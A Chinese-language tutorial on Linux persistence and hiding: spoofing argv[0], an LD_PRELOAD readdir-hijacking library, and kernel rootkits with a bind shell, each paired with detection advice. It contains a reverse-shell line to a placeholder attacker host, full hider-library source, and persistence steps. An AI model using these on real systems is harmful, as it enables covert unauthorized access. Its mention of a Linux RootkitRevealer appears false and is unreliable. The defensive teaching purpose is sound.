Linux 权限维持与隐藏技术详解
文档说明
本文档旨在深入解析在 Linux 环境中,攻击者在获得初始权限后,如何通过各种技术手段维持权限并隐藏自身踪迹。内容涵盖从用户空间到内核空间的多项技术,并同时提供相应的检测与防御方案,以帮助蓝队成员更好地进行安全防护。
目标读者: 具备一定 Linux 基础的安全研究人员、渗透测试人员及系统安全运维人员。
警告: 本文所述技术仅用于安全研究、学习与授权测试,严禁用于非法用途。
第一章:进程隐藏 - 修改 argv[0]
1.1 技术原理
在 C 语言程序中,main 函数的标准形式为 int main(int argc, char *argv[])。其中:
argc:命令行参数的数量。argv:一个指向字符串数组的指针,argv[0]通常指向程序自身的名称。
关键点在于,argv[0] 所指向的内存区域是可写的。这意味着程序在运行时可以动态修改 ps、top 等命令显示出来的进程名称。
1.2 实现方法
攻击者可以编写一个特殊的“加载器”程序。该程序的主要逻辑如下:
- 使用
fork()系统调用创建一个子进程。 - 在子进程中,修改
argv[0]的内容,例如将其伪装成[kworker/0:0]、[ksoftirqd/0]等合法的内核线程名称。 - 在子进程中执行真正的恶意负载(如反向 Shell)。
示例代码片段:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
pid_t pid = fork();
if (pid == 0) {
// 在子进程中
strncpy(argv[0], "[kworker/0:0]", strlen(argv[0]));
// 执行恶意程序,例如 reverse shell
system("/bin/bash -c 'bash -i >& /dev/tcp/attacker_ip/port 0>&1'");
exit(0);
}
return 0;
}
1.3 技术破绽与检测
这种隐藏手段较为初级,存在多个明显破绽,容易被发现:
-
/proc/[pid]/exe链接:- 即使进程名被修改,
/proc/[pid]/exe符号链接仍然指向真实的、在磁盘上的可执行文件。 - 检测命令:
ls -la /proc/[可疑pid]/exe
- 即使进程名被修改,
-
启动用户:
- 真正的内核线程(名称通常以
[括号括起)的启动用户永远是root。 - 如果一个名为
[kworker/0:0]的进程是由普通用户(如www-data、neko)启动的,则极有可能是伪装的。 - 检测命令:
ps -eo pid,user,comm | grep "\["
- 真正的内核线程(名称通常以
-
关联的 TTY:
- 真正的内核线程没有关联的终端(TTY 字段显示为
?)。 - 伪造的进程通常由 Shell 启动,会关联一个伪终端(如
pts/0或pts/1)。 - 检测命令:
ps -ef | grep "\["查看 TTY 列。
- 真正的内核线程没有关联的终端(TTY 字段显示为
第二章:用户空间劫持 - LD_PRELOAD
2.1 技术原理
LD_PRELOAD 是 Linux 系统的一个环境变量。它允许用户指定在程序运行前优先加载的共享库(.so 文件)。动态链接器在加载程序时,会先加载 LD_PRELOAD 指定的库,然后再加载程序依赖的其他库。这导致了“符号竞争”(Symbol Hijacking)的可能性。
原理:当一个可执行程序调用某个函数(如 readdir)时,动态链接器的查找顺序是:
- 程序本身(如果静态链接了该函数)。
LD_PRELOAD环境变量中指定的库。/etc/ld.so.preload文件中指定的库(全局生效,需要 root 权限)。- 默认的系统共享库(如
/lib/x86_64-linux-gnu/libc.so.6)。
因此,如果 LD_PRELOAD 指定的库中包含了与系统库同名的函数(例如 readdir),程序就会优先执行 LD_PRELOAD 库中的版本,从而实现劫持。
2.2 实现方法:隐藏特定进程
劫持 readdir 函数可以用于隐藏 ps、top、ls 等命令输出中的特定进程或文件。
示例劫持库代码 (hider.c):
#define _GNU_SOURCE
#include <dirent.h>
#include <string.h>
#include <dlfcn.h>
// 定义原版readdir的函数指针
struct dirent *(*original_readdir)(DIR *dirp);
struct dirent *readdir(DIR *dirp) {
// 获取原版readdir函数地址
original_readdir = dlsym(RTLD_NEXT, "readdir");
struct dirent *dir;
while ((dir = original_readdir(dirp)) != NULL) {
// 如果目录项名称不是我们要隐藏的进程名,则返回
if (strstr(dir->d_name, "my_malicious_process") == 0) {
break;
}
}
return dir;
}
编译劫持库:
gcc -shared -fPIC -o hider.so hider.c -ldl
使用方法:
- 临时生效(当前会话):
export LD_PRELOAD=/path/to/hider.so - 永久生效(对当前用户):将
export LD_PRELOAD=/path/to/hider.so写入用户家目录的~/.bashrc或~/.profile文件中。 - 全局生效(需要 root):将库的完整路径写入
/etc/ld.so.preload文件。
2.3 检测与对抗
-
使用
strace追踪:strace可以跟踪程序执行时的系统调用。由于LD_PRELOAD劫持发生在用户空间,而strace在更底层监控系统调用,因此可以绕过这种劫持,看到真实的getdents系统调用(readdir会调用它)结果。- 检测命令:
strace -e trace=getdents ps aux 2>&1 | grep malicious_process
-
使用静态编译的工具:
- 静态编译的程序在编译时已将所需的库函数打包进二进制文件内部,运行时不再依赖外部的动态链接库,因此完全不受
LD_PRELOAD影响。 - 推荐工具:静态编译的
busybox。- 下载静态编译的
busybox二进制文件。 - 使用它提供的
ps、ls等命令进行检查:./busybox ps aux
- 下载静态编译的
- 静态编译的程序在编译时已将所需的库函数打包进二进制文件内部,运行时不再依赖外部的动态链接库,因此完全不受
第三章:内核模块 Rootkit
3.1 技术原理与权限要求
当攻击者获得 root 权限 后,便可以进行更深层次的权限维持,即直接修改内核。通过编写和加载内核模块(LKM, Loadable Kernel Module),攻击者可以hook系统调用、隐藏文件、进程、网络连接等,其隐蔽性远高于用户空间技术。
3.2 案例一:文件释放与守护
此类 Rootkit 模块在加载时,会释放一个嵌入在模块中的 ELF 二进制文件(后门)到磁盘上,并确保其持续运行。
扩展功能:
- 可以定期检查后门进程是否存活,若进程被杀掉,则自动重新启动它,实现“打不死”的守护功能。
- 可以将后门代码直接以内核模块中的 Shellcode 形式存在,定期检查并执行,避免在磁盘上留下文件。
3.3 案例二:内核级 Bind Shell
此类 Rootkit 模块直接在内核层面开启一个网络端口,并绑定一个 Shell。
典型实现流程:
- 攻击者编写内核模块,在其中创建一个内核线程。
- 该线程监听一个特定的 TCP 端口(例如文档中的 65522)。
- 当有连接到来时,直接在内核空间处理连接请求,并
execve一个/bin/sh进程,将其输入/输出重定向到网络套接字。 - 攻击者使用
nc target_ip 65522即可获得一个 root Shell。
安装与持久化:
- 编译内核模块(
.ko文件)。 - 使用
insmod命令加载模块。 - 保证重启有效:将模块加载命令(如
insmod /path/to/rootkit.ko)添加到/etc/rc.local或创建一个 systemd service 等开机自启动脚本中。
3.4 检测与防御
内核级 Rootkit 的检测非常困难,通常需要借助外部工具或硬件。
-
内核模块完整性检查:
- 使用
lsmod查看已加载模块列表,与已知合法模块列表对比。 - 使用
modinfo [module_name]查看模块信息,可疑模块往往信息不全或异常。
- 使用
-
使用基于内核的完整性监控:
- Linux Kernel Guard (LKG):可以检测系统调用的钩子(Hook)。
- Sysinternals RootkitRevealer (for Linux 版本):比较原始数据和 API 返回数据的差异。
-
使用硬件辅助的安全技术:
- UEFI Secure Boot:可以阻止加载未经验证签名的内核模块。
-
最有效但最极端的方法:
- 从受信任的源重新安装系统,并恢复干净的数据备份。
总结与思维导图
| 技术层次 | 技术名称 | 权限要求 | 隐蔽性 | 关键检测方法 |
|---|---|---|---|---|
| 用户空间 | 修改 argv[0] | 无需 root | 低 | 检查 /proc/[pid]/exe, 进程用户, TTY |
| 用户空间 | LD_PRELOAD 劫持 | 无需 root (全局需 root) | 中 | 使用 strace, 静态编译工具 (如 busybox) |
| 内核空间 | 内核模块 Rootkit | 必须 root | 高 | 内核完整性检查工具, 硬件安全启动 |
防御原则:
- 最小权限原则:严格限制用户和进程的权限,避免攻击者轻易获取 root。
- 监控与审计:部署 HIDS(主机入侵检测系统),对进程、文件、网络连接进行持续监控和日志审计。
- 保持系统更新:及时修补漏洞,减少攻击面。
- 使用可信软件源:避免安装来路不明的软件和模块。
文档结束
希望这份详尽的教学文档能够帮助你全面理解 Linux 权限维持与隐藏的技术脉络。请务必在合法合规的环境下使用这些知识。